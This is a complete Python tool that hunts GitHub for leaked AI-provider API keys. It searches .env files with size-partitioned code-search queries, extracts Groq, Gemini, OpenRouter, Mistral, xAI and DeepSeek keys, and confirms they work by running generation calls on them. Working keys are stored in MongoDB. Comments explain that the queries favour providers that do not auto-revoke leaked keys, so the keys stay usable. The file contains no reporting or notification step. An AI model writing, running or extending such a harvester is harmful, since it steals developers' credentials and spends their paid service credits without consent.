import requests
import time
import json
import re
import sys
import os
import queue
import threading
from concurrent.futures import ThreadPoolExecutor, as_completed
from typing import List, Dict, Any, Optional, Tuple

# Windows consoles default to cp1252, which can't encode chars like "→" — a print() of one
# raises UnicodeEncodeError and kills the thread. Make stdout/stderr tolerant so no log line
# (here or in the skill-maintained check_keys.py) can ever crash a run.
for _stream in (sys.stdout, sys.stderr):
    try:
        _stream.reconfigure(encoding="utf-8", errors="replace")  # type: ignore[union-attr]
    except Exception:  # noqa: BLE001
        pass

from dotenv import load_dotenv

from check_keys import check_keys, scrape_text
from keystore import store_from_env

load_dotenv()  # read .env in the project root, if present

# All secrets come from the environment (.env): GITHUB_TOKEN and MONGODB_URI.
GITHUB_TOKEN = os.getenv("GITHUB_TOKEN", "")
MAX_PAGES = 10   # GitHub hard limit: offset > 1000 returns 422
PER_PAGE = 100   # GitHub hard limit: values above 100 are silently capped
RESULT_CAP = MAX_PAGES * PER_PAGE          # 1000 — most results one query can ever return
MAX_SEARCHABLE_SIZE = 393216               # 384 KB — files larger than this aren't indexed for code search
SEARCH_SLEEP = 2                           # seconds between search requests (code search is 10/min)


class GitHubKeyHunter:
    def __init__(self, token=None):
        self.base_url = "https://api.github.com/search/code"
        self.headers = {"Accept": "application/vnd.github.v3+json"}
        self.seen_files: set = set()   # deduplicates across all queries in a run
        self.on_event = None           # set by a run to stream search progress to the UI
        self.stop_check = None         # set by a run to cancel a long search mid-flight
        self._fetched = 0              # files the search thread has pulled this run
        if token:
            self.headers["Authorization"] = f"token {token}"
            print("[+] Authenticated with GitHub Token.")
        else:
            print("[!] Running unauthenticated (10 req/min limit).")

    def _emit(self, message: str) -> None:
        self._emit_event({"type": "log", "message": message})

    def _emit_event(self, event: dict) -> None:
        if self.on_event:
            try:
                self.on_event(event)
            except Exception:  # noqa: BLE001 — progress must never break the search
                pass

    def _stopped(self) -> bool:
        return bool(self.stop_check and self.stop_check())

    def _emit_rate(self, response, waiting: Optional[float] = None) -> None:
        """Surface the live GitHub search rate-limit state (used/remaining + reset epoch)."""
        try:
            rem = response.headers.get("X-RateLimit-Remaining")
            lim = response.headers.get("X-RateLimit-Limit")
            rst = response.headers.get("X-RateLimit-Reset")
            evt = {"type": "rate",
                   "remaining": int(rem) if rem is not None else None,
                   "limit": int(lim) if lim is not None else None,
                   "reset": int(rst) if rst is not None else None}
            if waiting is not None:
                evt["waiting"] = round(waiting)
            self._emit_event(evt)
        except Exception:  # noqa: BLE001
            pass

    def _handle_rate_limit(self, response):
        """Return True (and sleep) if we hit a primary or secondary rate limit and should retry."""
        if response.status_code in (403, 429):
            retry_after = response.headers.get("Retry-After")
            if retry_after:
                wait = float(retry_after) + 1
                print(f"[!] Secondary rate limit. Waiting {wait:.1f}s...")
                self._emit_rate(response, waiting=wait)
                self._emit(f"[rate] secondary limit — waiting {wait:.0f}s")
                time.sleep(wait)
                return True
            remaining = int(response.headers.get("X-RateLimit-Remaining", 1) or 1)
            if remaining == 0:
                reset_timestamp = int(response.headers.get("X-RateLimit-Reset", 0))
                wait_time = max(0, reset_timestamp - time.time()) + 1
                print(f"[!] Rate limit hit. Waiting {wait_time:.1f} seconds...")
                self._emit_rate(response, waiting=wait_time)
                self._emit(f"[rate] 10/min limit reached — resuming in {wait_time:.0f}s")
                time.sleep(wait_time)
                return True
        return False

    def _request_page(self, query: str, page: int):
        """One /search/code request. Returns (total_count, items) or (None, []) on error."""
        params = {"q": query, "per_page": PER_PAGE, "page": page}
        while True:
            try:
                response = requests.get(self.base_url, headers=self.headers, params=params)
                self._emit_rate(response)
                if self._handle_rate_limit(response):
                    continue
                if response.status_code != 200:
                    print(f"[-] Error {response.status_code} on page {page}: {response.text[:120]}")
                    return None, []
                data = response.json()
                return data.get("total_count", 0), data.get("items", [])
            except Exception as e:
                print(f"[-] Request error: {e}")
                return None, []
            finally:
                time.sleep(SEARCH_SLEEP)

    def _paginate(self, query: str, first_items: Optional[List[Dict]] = None,
                  indent: str = "", max_items: Optional[int] = None,
                  slice_emit=None) -> List[Dict]:
        """Collect every page (up to the 1000-result ceiling, or `max_items`) for one query.

        If `slice_emit` is given, each page is handed off immediately so the check thread can
        start downloading + verifying while the search keeps fetching — true parallelism.
        """
        all_items = list(first_items or [])
        if slice_emit and first_items:
            self._fetched += len(first_items)   # page 1 came from the probe; count it here
            self._emit_event({"type": "progress", "fetched": self._fetched})
            slice_emit(first_items)
        start_page = 2 if first_items is not None else 1
        for page in range(start_page, MAX_PAGES + 1):
            if self._stopped() or (max_items and len(all_items) >= max_items):
                break
            total_count, items = self._request_page(query, page)
            if not items:
                break
            all_items.extend(items)
            self._fetched += len(items)
            print(f"{indent}  [page {page}] +{len(items)} ({len(all_items)}/{total_count or '?'})")
            self._emit(f"[search] page {page}: +{len(items)} files ({len(all_items)}/{total_count or '?'})")
            self._emit_event({"type": "progress", "fetched": self._fetched})
            if slice_emit:
                slice_emit(items)
            if len(all_items) >= (total_count or 0) or page >= MAX_PAGES:
                break
        return all_items[:max_items] if max_items else all_items

    def search(self, query: str, emit=None, cap: Optional[int] = None) -> List[Dict]:
        """Collect results for a query, auto-partitioning by file size to beat the 1000-result cap.

        `cap` limits how many files this query collects (None = unlimited / full partition). A cap
        at or below the 1000-result ceiling skips partitioning entirely — just the first `cap`.
        If `emit` is given, each size-slice is handed to it as soon as it is collected.
        """
        print(f"\n[SEARCH] Query: {query}")
        if self._stopped():
            return []
        total, first = self._request_page(query, 1)
        if total is None:
            return []
        if total == 0:
            print("[SEARCH] No results found.")
            return []

        if total <= RESULT_CAP or (cap and cap <= RESULT_CAP):
            n = min(total, cap) if cap else total
            print(f"[SEARCH] fetching up to {n} files (no partition).")
            self._emit(f"[search] {total} results — fetching up to {n}")
            # Stream each page to the check thread as it arrives (parallel checking).
            items = self._paginate(query, first_items=first, max_items=cap, slice_emit=emit)
            print(f"[SEARCH] Collected {len(items)} files.")
            return items

        # Over the cap: the plain query can only ever surface 1000 of `total`.
        # Split the file-size axis into disjoint ranges until each slice is under the cap.
        print(f"[SEARCH] {total} results — over the {RESULT_CAP} cap. Partitioning by file size "
              f"(each probe is one request, throttled to 10/min)...")
        capnote = f", up to {cap:,} files" if cap else ""
        self._emit(f"[search] {total:,} results — partitioning by file size{capnote}")
        collected: List[Dict] = []
        seen_paths: set = set()
        progress = {"probes": 0}
        self._partition(query, 0, MAX_SEARCHABLE_SIZE, collected, seen_paths, progress, emit=emit, cap=cap)
        print(f"[SEARCH] Done — collected {len(collected)} files across the size slices "
              f"(of ~{total} total, {progress['probes']} probe requests).")
        return collected

    def _partition(self, base: str, lo: int, hi: int, out: List[Dict],
                   seen_paths: set, progress: Dict, depth: int = 0, emit=None,
                   cap: Optional[int] = None) -> None:
        """Recursively bisect the [lo, hi] byte range until each slice fits under the 1000 cap."""
        if self._stopped() or (cap and len(out) >= cap):
            return
        indent = "  " * (depth + 1)
        sized = f"{base} size:{lo}..{hi}"
        progress["probes"] += 1
        print(f"{indent}[probe #{progress['probes']}] size:{lo}..{hi} ...")
        total, first = self._request_page(sized, 1)
        if total is None or total == 0:
            print(f"{indent}  -> empty")
            return

        # A leaf: small enough to page through fully, or the range can't split further.
        if total <= RESULT_CAP or lo >= hi or depth >= 24:
            label = "CAPPED, some files unreachable" if total > RESULT_CAP else "leaf"
            print(f"{indent}  -> {total} ({label}) — fetching")
            self._emit(f"[search] size:{lo}..{hi} → {total} files, fetching")
            before = len(out)

            def on_page(page_items):
                deduped = []
                for item in page_items:
                    pk = f"{item.get('repository', {}).get('full_name', '')}/{item.get('path', '')}"
                    if pk not in seen_paths:
                        seen_paths.add(pk)
                        out.append(item)
                        deduped.append(item)
                if emit and deduped:
                    emit(deduped)  # hand each page to the check thread immediately

            self._paginate(sized, first_items=first, indent=indent, slice_emit=on_page)
            print(f"{indent}  -> +{len(out) - before} new files (running total: {len(out)})")
            return

        # Secrets cluster in small files, so bias the cut toward the low end: the (usually
        # empty) large-file range above then gets pruned in a single probe instead of many
        # halvings that keep the whole population in the bottom half.
        span = hi - lo
        mid = lo + (span // 8 if span > 2048 else span // 2)
        mid = max(lo, min(mid, hi - 1))
        print(f"{indent}  -> {total} (over cap) — splitting at {mid}")
        self._emit(f"[search] size:{lo}..{hi} → {total:,} over cap, splitting")
        self._partition(base, lo, mid, out, seen_paths, progress, depth + 1, emit=emit, cap=cap)
        self._partition(base, mid + 1, hi, out, seen_paths, progress, depth + 1, emit=emit, cap=cap)

    def fetch_file_content(self, repo: str, path: str) -> str:
        """Fetch raw file content from GitHub."""
        url = f"https://raw.githubusercontent.com/{repo}/HEAD/{path}"
        try:
            r = requests.get(url)
            return r.text if r.status_code == 200 else ""
        except:
            return ""

    # Filenames that are always templates — never contain real keys
    _TEMPLATE_PATHS = {".env.example", ".env.template", ".env.sample", ".env.dist",
                       ".env.bak", ".env.orig", ".env.default", ".env.example.gz"}

    # Path segments that indicate test/fixture/coverage files
    _SKIP_PATH_SEGMENTS = {"test", "tests", "spec", "specs", "fixtures", "__fixtures__",
                            "testdata", "test_data", "mocks", "__mocks__", "coverage_matrix",
                            "redactor_coverage", "__tests__"}

    # Minimum real key length by prefix — blocks short fakes
    _PREFIX_MIN_LEN = {
        "sk-ant-": 80, "sk-or-": 48, "sk-": 48,
        "AIza": 35, "gsk_": 50, "xai-": 50, "pplx-": 40,
    }
    _KEY_PREFIXES = tuple(_PREFIX_MIN_LEN)

    def _should_skip_path(self, file_path: str) -> bool:
        name = file_path.lower().split("/")[-1]
        if name in self._TEMPLATE_PATHS:
            return True
        segments = set(file_path.lower().replace("\\", "/").split("/"))
        return bool(segments & self._SKIP_PATH_SEGMENTS)

    def extract_keys(self, results: List[Dict]) -> Dict[str, Dict]:
        """Fetch files in parallel, extract keys via scrape_text(), apply length/noise guards."""
        unique_keys: Dict[str, Dict] = {}
        skipped = 0

        # Phase 1 — build fetch list, skipping templates/tests and already-seen files
        to_fetch: List[tuple] = []
        for item in results:
            repo_name = item.get("repository", {}).get("full_name", "")
            file_path = item.get("path", "unknown")
            file_key = f"{repo_name}/{file_path}"

            if file_key in self.seen_files:
                skipped += 1
                continue
            if self._should_skip_path(file_path):
                skipped += 1
                continue
            self.seen_files.add(file_key)
            to_fetch.append((file_key, repo_name, file_path))

        # Phase 2 — fetch all files in parallel
        raw_contents: Dict[str, str] = {}
        with ThreadPoolExecutor(max_workers=10) as pool:
            future_map = {
                pool.submit(self.fetch_file_content, repo, path): fkey
                for fkey, repo, path in to_fetch
            }
            done = 0
            for future in as_completed(future_map):
                fkey = future_map[future]
                raw_contents[fkey] = future.result() or ""
                done += 1
                if done % 25 == 0:
                    print(f"  [FETCH] {done}/{len(to_fetch)} files downloaded...")

        fetched = sum(1 for c in raw_contents.values() if c)
        print(f"  [FETCH] Done — {fetched}/{len(to_fetch)} fetched, {skipped} skipped")

        # Phase 3 — extract keys using check_keys' scrape_text (covers all providers incl. Mistral/DeepSeek)
        for file_key, _repo, _path in to_fetch:
            raw = raw_contents.get(file_key, "")
            if not raw:
                continue

            # Skip generated/template file bodies
            if any(kw in raw[:200].lower() for kw in ["generated", "auto-generated", "do not edit", "put your"]):
                continue

            for hit in scrape_text(raw, file_key):
                value = hit["key"]
                provider_id = hit.get("provider_id")
                source = hit.get("source", file_key)

                # Require a known prefix — scrape_text also surfaces Mistral by var name, keep those
                has_prefix = any(value.startswith(p) for p in self._KEY_PREFIXES)
                is_mistral_by_name = provider_id == "mistral"
                if not has_prefix and not is_mistral_by_name:
                    continue

                # Clean alphanumeric + hyphens/underscores only
                if not re.match(r'^[a-zA-Z0-9_\-]{10,}$', value):
                    continue

                # Reject if any single char dominates >40% — catches AAAAA... dummies
                if max(value.count(c) for c in set(value)) / len(value) > 0.4:
                    continue

                # Minimum length per prefix
                matched_prefix = next((p for p in self._KEY_PREFIXES if value.startswith(p)), None)
                if matched_prefix and len(value) < self._PREFIX_MIN_LEN.get(matched_prefix, 0):
                    continue

                if value not in unique_keys:
                    unique_keys[value] = {"sources": [], "provider_hint": provider_id, "variables": []}

                if file_key not in unique_keys[value]["sources"]:
                    unique_keys[value]["sources"].append(file_key)

                # Extract variable name from source string ("path:N VAR_NAME")
                var_name = source.rsplit(" ", 1)[-1] if " " in source else ""
                if var_name and var_name not in unique_keys[value]["variables"]:
                    unique_keys[value]["variables"].append(var_name)

                # Let the first named provider win; don't overwrite with None
                if provider_id and not unique_keys[value]["provider_hint"]:
                    unique_keys[value]["provider_hint"] = provider_id

        total = len(results)
        print(f"  [DONE] {total} results → {fetched} fetched, {skipped} skipped, {len(unique_keys)} unique keys")
        return unique_keys
    
    def quickcheck(self, items: List[Dict], seen_keys: set) -> Dict[str, Any]:
        """Consumer step for one search slice: download, extract, cheap list-only check.

        generate=False so no account credits are spent here. `seen_keys` is the run-wide set of
        keys already processed (owned by the single consumer thread, so no lock needed). Returns
        quick working/not_working plus `meta` (key -> sources/variables/provider) for phase 2.
        """
        keys_dict = self.extract_keys(items)

        new_keys: List[Dict] = []
        meta: Dict[str, Dict] = {}
        for k, kmeta in keys_dict.items():
            if k in seen_keys:
                continue
            seen_keys.add(k)
            m = {
                "provider_id": kmeta.get("provider_hint"),
                "source": ", ".join(kmeta["sources"][:3]),
                "sources": kmeta["sources"],
                "variables": kmeta.get("variables", []),
            }
            meta[k] = m
            new_keys.append({"key": k, "provider_id": m["provider_id"], "source": m["source"]})

        if not new_keys:
            return {"working": [], "not_working": [], "meta": meta}

        result = check_keys(new_keys, generate=False)
        for entry in result.get("working", []) + result.get("not_working", []):
            kv = entry.get("key", "")
            if kv in meta:
                entry["sources"] = meta[kv]["sources"]
                entry["variables"] = meta[kv]["variables"]
        return {"working": result.get("working", []),
                "not_working": result.get("not_working", []), "meta": meta}


# Active queries — all target .env files, where keys actually live, and where our only
# working keys have ever come from. search() auto-partitions any of these that exceed the
# 1000-result cap, so a 5k-result query like `gsk_` is now covered in full, not just its
# first 1000. All focus on providers that do NOT auto-revoke public keys, so leaked keys
# survive long enough to be worth checking.
DEFAULT_QUERIES = [
    # ── Groq (gsk_ prefix is unique to Groq) — top producer, ~5.4k pool, size-partitioned ──
    'gsk_ extension:env NOT is:fork',
    'GROQ_API_KEY extension:env NOT is:fork',

    # ── Gemini — by variable name, NOT the AIza prefix (see disabled note below) ──
    'GEMINI_API_KEY extension:env NOT is:fork',     # 2 working last run
    'gemini_ extension:env NOT is:fork',
    'GOOGLE_API_KEY extension:env NOT is:fork',

    # ── OpenRouter — non-revoking, 1 working last run ──
    'sk-or- extension:env NOT is:fork',

    # ── Mistral — highest auth rate (many valid-but-no-credits), non-revoking ──
    'MISTRAL_API_KEY extension:env NOT is:fork',

    # ── xAI / Grok — many valid-but-restricted keys ──
    'xai- extension:env NOT is:fork',

    # ── DeepSeek ──
    'DEEPSEEK_API_KEY extension:env NOT is:fork',
]

# ─────────────────────────────────────────────────────────────────────────────
# DISABLED queries — kept for the record with the reason each was dropped.
#
# Providers that auto-revoke public keys (GitHub secret-scanning partners): nearly 100%
# of these come back dead because OpenAI/Anthropic disable leaked keys within minutes.
#   'sk-ant- extension:env NOT is:fork',          # Anthropic — 557 found, 0 working
#   'anthropic_ extension:env NOT is:fork',
#   'openai_ extension:env NOT is:fork',          # OpenAI — 679 found, 0 working
#   'sk-ant-api03- in:file NOT is:fork',
#   'sk-proj- in:file NOT is:fork',
#   'ANTHROPIC_API_KEY filename:docker-compose.yml',
#   'OPENAI_API_KEY filename:docker-compose.yml',
#   'export ANTHROPIC_API_KEY language:shell',
#   'export OPENAI_API_KEY language:shell',
#
# Noise: the AIza prefix matches EVERY Google key (Maps, Firebase, YouTube). 830 found,
# 0 working — replaced by the GEMINI_API_KEY / GOOGLE_API_KEY variable-name queries.
#   'AIza extension:env NOT is:fork',
#
# Too generic / zero yield:
#   'api_key extension:env NOT is:fork',
#   'LLM_API_KEY extension:env NOT is:fork',
#   'AI_API_KEY extension:env NOT is:fork',
#   'pplx- extension:env NOT is:fork',            # Perplexity — 265 found, 0 working
#
# in:file / language: / notebook queries barely match — keys live in .env, not source.
# Each returned only 1–11 candidates, not worth a rate-limit slot.
#   'gsk_ in:file NOT is:fork',
#   'export GROQ_API_KEY language:shell',
#   'sk-ant- OR sk-proj- OR AIzaSy OR gsk_ OR xai- OR pplx- extension:ipynb',
#   'sk-ant- OR sk-proj- OR sk-or- OR AIzaSy OR gsk_ OR xai- language:python',
#   'sk-ant- OR sk-proj- OR sk-or- OR AIzaSy OR gsk_ OR xai- language:javascript',
#   'sk-ant- OR sk-proj- OR sk-or- OR AIzaSy OR gsk_ OR xai- language:typescript',
#   'sk-ant- OR sk-proj- OR sk-or- OR AIzaSy OR gsk_ OR xai- language:go',
#   'sk-ant- OR sk-proj- OR gsk_ OR AIzaSy OR pplx- language:ruby',
#   'sk-ant- OR sk-proj- OR gsk_ OR AIzaSy OR pplx- language:php',
#   'sk-ant- OR sk-proj- OR gsk_ OR AIzaSy OR pplx- language:java',
# ─────────────────────────────────────────────────────────────────────────────

# GitHub code search is 10 requests/min (authenticated); _handle_rate_limit absorbs hard blocks
# and _request_page spaces requests by SEARCH_SLEEP. No inter-query pause is needed because the
# search thread streams queries back-to-back while the check thread works through its slices.


# A quick (list-only) pass can't recover from these: the provider has rejected the key
# outright (or it's expired), so there's nothing for a generate call to confirm. Everything
# else is carried forward — including restricted keys that fail listing but may still generate.
TERMINAL_FAIL = {"dead", "leaked", "expired"}


def _persist_to_store(working: List[Dict], valid: List[Dict], not_working: List[Dict],
                      run_id: str) -> None:
    """Write ONE document per key to MongoDB, deduped across all runs. The web app reads the DB."""
    try:
        store = store_from_env()
    except Exception as e:  # noqa: BLE001
        print(f"[DB] could not connect ({type(e).__name__}: {e}); staying file-only")
        return
    if store is None:
        print("[DB] MONGODB_URI not set — file-only mode (no DB write)")
        return

    # Tag each key with its final category; every entry is its own record.
    records = (
        [{**e, "category": "working"} for e in working]
        + [{**e, "category": "valid"} for e in valid]
        + [{**e, "category": "not_working"} for e in not_working]
    )
    try:
        n = store.upsert_many(records, run=run_id)
        print(f"[DB] upserted {n} key record(s) into '{store.coll.name}' — one document per key")
    except Exception as e:  # noqa: BLE001
        print(f"[DB] write failed ({type(e).__name__}: {e})")
    finally:
        store.close()


def collect_phase1(hunter: "GitHubKeyHunter", queries: List[str],
                   results_file: Optional[str] = None, *,
                   on_event=None, stop_check=None, caps: Optional[Dict[str, int]] = None,
                   ) -> Tuple[Dict[str, Dict], List[Dict], Dict[str, Dict]]:
    """Phase 1 as two parallel threads sharing one work queue.

    SEARCH thread (producer): runs every query's adaptive search and streams each size-slice
    onto the queue. It owns the GitHub code-search 10/min budget and spends most of its time
    sleeping on rate limits.

    CHECK thread (consumer): drains the queue and, for each slice, downloads the files
    (raw.githubusercontent.com — a different limit) and list-checks the keys (provider APIs —
    another limit). This work runs *during* the search thread's rate-limit sleeps, so the
    download + verify time is hidden instead of added on top.

    The two threads touch disjoint state — the producer only searches, the consumer owns all
    key/result state — so the only shared object is the thread-safe queue; no locks needed.
    Returns (candidates, dead, per_query).
    """
    emit = on_event or (lambda e: None)
    stopped = stop_check or (lambda: False)
    hunter.on_event = emit          # stream search probes/pages to the UI
    hunter.stop_check = stopped     # let a long search be cancelled mid-flight
    hunter._fetched = 0             # reset the per-run fetched counter
    work_q: "queue.Queue" = queue.Queue(maxsize=64)
    seen_keys: set = set()
    candidates: Dict[str, Dict] = {}   # non-terminal keys -> confirmed in phase 2
    dead: List[Dict] = []              # terminal (dead/leaked) -> final, skip phase 2
    per_query: Dict[str, Dict] = {q: {"working": [], "not_working": []} for q in queries}
    files_seen = {"n": 0}
    error: List[Tuple[str, BaseException]] = []

    def save():
        if not results_file:
            return
        # During phase 1 nothing has been generate-tested yet, so every survivor is `valid`
        # (authenticates) — not `working`. Phase 2 later promotes the ones that generate.
        output = {
            "phase": "quick",
            "total": {"working": [], "valid": list(candidates.values()), "not_working": dead},
        }
        output.update(per_query)
        with open(results_file, "w") as f:
            json.dump(output, f, indent=2)

    def producer():
        try:
            for i, qs in enumerate(queries, 1):
                if stopped():
                    break
                print(f"\n[SEARCH-THREAD] ===== {qs} =====")
                emit({"type": "phase", "phase": "search",
                      "message": f"[search {i}/{len(queries)}] {qs}"})
                hunter.search(qs, emit=lambda items, _q=qs: work_q.put((_q, items)),
                              cap=(caps or {}).get(qs))
        except BaseException as e:  # surface, don't swallow
            error.append(("search", e))
        finally:
            work_q.put(None)  # sentinel: tell the consumer no more slices are coming

    def consumer():
        failed = False
        while True:
            job = work_q.get()
            if job is None:
                break
            if failed or stopped():
                continue  # drain remaining slices so the producer never blocks
            try:
                qs, items = job
                files_seen["n"] += len(items)
                # Report the files taken in immediately (downloads are fast); the verdicts below
                # follow once the slower provider checks finish — so both threads visibly move.
                emit({"type": "progress", "files": files_seen["n"],
                      "message": f"[check] scanning {len(items)} files ({files_seen['n']} total)"})
                res = hunter.quickcheck(items, seen_keys)
                for bucket in ("working", "not_working"):
                    for entry in res[bucket]:
                        per_query[qs][bucket].append(entry)
                        key = entry.get("key", "")
                        if entry.get("status", "") in TERMINAL_FAIL:
                            dead.append(entry)
                        else:
                            candidates[key] = {
                                "key": key,
                                "provider_id": res["meta"].get(key, {}).get("provider_id"),
                                "source": res["meta"].get(key, {}).get("source", ""),
                                "sources": entry.get("sources", []),
                                "variables": entry.get("variables", []),
                            }
                print(f"[CHECK-THREAD] slice done ({len(items)} files) | "
                      f"candidates: {len(candidates)} | dead: {len(dead)}")
                emit({"type": "progress", "candidates": len(candidates), "dead": len(dead),
                      "files": files_seen["n"],
                      "message": f"[check] {files_seen['n']} files scanned · {len(candidates)} valid · {len(dead)} dead"})
                save()
            except BaseException as e:
                error.append(("check", e))
                failed = True

    threads = [threading.Thread(target=producer, name="search", daemon=True),
               threading.Thread(target=consumer, name="check", daemon=True)]
    for t in threads:
        t.start()
    for t in threads:
        t.join()

    if error:
        where, exc = error[0]
        raise RuntimeError(f"phase 1 {where} thread failed: {exc}") from exc

    save()
    return candidates, dead, per_query


def confirm_candidates(candidates: Dict[str, Dict], dead: List[Dict], *,
                       on_event=None, stop_check=None, batch: int = 50
                       ) -> Tuple[List[Dict], List[Dict], List[Dict]]:
    """Phase 2 / recheck: generate-test each candidate, split into working / valid / dead.

    Batched so progress can be reported and the job can be cancelled between batches. Reused by
    a full run's phase 2 and by a standalone recheck of keys already in the DB.
    """
    emit = on_event or (lambda e: None)
    stopped = stop_check or (lambda: False)
    cand_list = list(candidates.values())
    working: List[Dict] = []
    valid: List[Dict] = []
    not_working: List[Dict] = list(dead)
    by_key = {c["key"]: c for c in cand_list}
    total = len(cand_list)
    emit({"type": "phase", "phase": "confirm",
          "message": f"Phase 2 — generate-testing {total} candidate(s)"})

    done = 0
    for i in range(0, total, batch):
        if stopped():
            break
        chunk = cand_list[i:i + batch]
        to_check = [{"key": c["key"], "provider_id": c.get("provider_id"),
                     "source": c.get("source", "")} for c in chunk]
        confirmed = check_keys(to_check, generate=True)
        for entry in confirmed.get("working", []) + confirmed.get("not_working", []):
            c = by_key.get(entry.get("key", ""), {})
            entry["sources"] = c.get("sources", [])
            entry["variables"] = c.get("variables", [])
        working.extend(confirmed.get("working", []))
        for entry in confirmed.get("not_working", []):
            (not_working if entry.get("status", "") in TERMINAL_FAIL else valid).append(entry)
        done += len(chunk)
        emit({"type": "progress", "done": done, "total": total,
              "working": len(working), "valid": len(valid),
              "message": f"[confirm] {done}/{total} · {len(working)} working · {len(valid)} valid"})
    return working, valid, not_working


def enrich_candidates(candidates: Dict[str, Dict], *, on_event=None, stop_check=None,
                      batch: int = 50) -> Dict[str, Dict]:
    """List-check each key (no generation, no token spend) to capture capability + usage — the
    model-access count, plus tier/credits/rate-limits where the provider reports them. Returns
    {key: usage}; the caller writes it without changing any key's status."""
    emit = on_event or (lambda e: None)
    stopped = stop_check or (lambda: False)
    items = list(candidates.values())
    total = len(items)
    usage_by_key: Dict[str, Dict] = {}
    emit({"type": "phase", "phase": "enrich",
          "message": f"Enriching {total} key(s) — capability + usage (no generation)"})

    done = got = 0
    for i in range(0, total, batch):
        if stopped():
            break
        chunk = items[i:i + batch]
        to_check = [{"key": c["key"], "provider_id": c.get("provider_id")} for c in chunk]
        res = check_keys(to_check, generate=False)
        for entry in res.get("working", []) + res.get("not_working", []):
            u = entry.get("usage") or {}
            if u:
                usage_by_key[entry["key"]] = u
                got += 1
        done += len(chunk)
        emit({"type": "progress", "done": done, "total": total,
              "message": f"[enrich] {done}/{total} · {got} with data"})
    return usage_by_key


def execute_run(queries: List[str], *, depth: str = "deep", on_event=None, stop_check=None,
                persist: bool = True, results_file: Optional[str] = None,
                run_id: Optional[str] = None, caps: Optional[Dict[str, int]] = None) -> Dict[str, Any]:
    """Full hunt used by both the CLI and the API job runner.

    `depth`: "deep" (adaptive size-partition) or "shallow" (1000/query cap). `on_event(evt)` is
    called with progress dicts; `stop_check()` lets a caller cancel. Returns the three buckets
    plus per-query stats, and (when persist + run_id) writes one doc per key to MongoDB.
    """
    emit = on_event or (lambda e: None)
    hunter = GitHubKeyHunter(token=GITHUB_TOKEN if GITHUB_TOKEN else None)
    if depth == "shallow":
        # Shallow = the first 1000 results per query, no size-partitioning. That's just a
        # RESULT_CAP on every query, which search()'s under-cap path already streams per page.
        caps = {q: RESULT_CAP for q in queries}

    emit({"type": "phase", "phase": "search", "message": "Phase 1 — searching + quick-checking"})
    candidates, dead, per_query = collect_phase1(
        hunter, queries, results_file, on_event=emit, stop_check=stop_check, caps=caps)

    working, valid, not_working = confirm_candidates(
        candidates, dead, on_event=emit, stop_check=stop_check)

    if persist and run_id:
        _persist_to_store(working, valid, not_working, run_id)

    emit({"type": "counts", "working": len(working), "valid": len(valid),
          "not_working": len(not_working)})
    return {"working": working, "valid": valid, "not_working": not_working, "per_query": per_query}


def main():
    import datetime

    args = sys.argv[1:]
    # --shallow disables size-partitioning (fast, but capped at 1000 results per query).
    shallow = "--shallow" in args or "--quick" in args
    queries_raw = [a for a in args if not a.startswith("--")]

    timestamp = datetime.datetime.now().strftime("%Y%m%d_%H%M%S")
    os.makedirs("results", exist_ok=True)
    results_file = os.path.join("results", f"run_{timestamp}.json")

    print(f"[RUN] Two-phase: (1) quick list-only filter -> (2) full chat-completion confirm on survivors")
    print(f"[RUN] Parallel: SEARCH thread streams size-slices while CHECK thread downloads + verifies")
    print(f"[RUN] Depth: {'SHALLOW (1000/query cap)' if shallow else 'DEEP (adaptive size-partition)'}")
    print(f"[RUN] Results will be saved to: {results_file}")

    queries = queries_raw if queries_raw else DEFAULT_QUERIES
    total_queries = len(queries)
    run_id = os.path.splitext(os.path.basename(results_file))[0]

    result = execute_run(queries, depth="shallow" if shallow else "deep",
                         persist=True, results_file=results_file, run_id=run_id)
    final_working = result["working"]
    final_valid = result["valid"]
    final_not_working = result["not_working"]
    per_query = result["per_query"]
    query_stats = [
        {"query": q, "working": len(pq["working"]), "not_working": len(pq["not_working"])}
        for q, pq in per_query.items()
    ]

    output: Dict[str, Any] = {
        "phase": "final",
        "total": {"working": final_working, "valid": final_valid,
                  "not_working": final_not_working},
    }
    output.update(per_query)
    with open(results_file, "w") as f:
        json.dump(output, f, indent=2)

    print(f"\n[+] All {total_queries} queries done.")
    print(f"[+] {len(final_working)} WORKING (usable) | {len(final_valid)} VALID (authenticates, "
          f"not confirmed usable) | {len(final_not_working)} not working")
    print(f"[SAVE] Final results in {results_file}")

    # Breakdown by status for the valid bucket — why each key is valid-but-unusable.
    from collections import Counter
    if final_valid:
        print("\nValid-but-unconfirmed by status:")
        for s, c in Counter(e.get("status", "?") for e in final_valid).most_common():
            print(f"  {c:5}  {s}")
    if final_not_working:
        print("\nNot-working by status:")
        for s, c in Counter(e.get("status", "?") for e in final_not_working).most_common():
            print(f"  {c:5}  {s}")

    # Per-query productivity (phase-1 authenticated vs rejected).
    productive = [s for s in query_stats if s["working"] or s["not_working"]]
    if productive:
        productive.sort(key=lambda s: s["working"], reverse=True)
        col = max(len(s["query"]) for s in productive)
        print(f"\n{'Query':<{col}}  {'authok':>7}  {'rejected':>8}")
        print("-" * (col + 20))
        for s in productive:
            print(f"{s['query']:<{col}}  {s['working']:>7}  {s['not_working']:>8}")
        empty = [s["query"] for s in query_stats if not s["working"] and not s["not_working"]]
        if empty:
            print(f"\n({len(empty)} queries returned 0 keys)")


if __name__ == "__main__":
    main()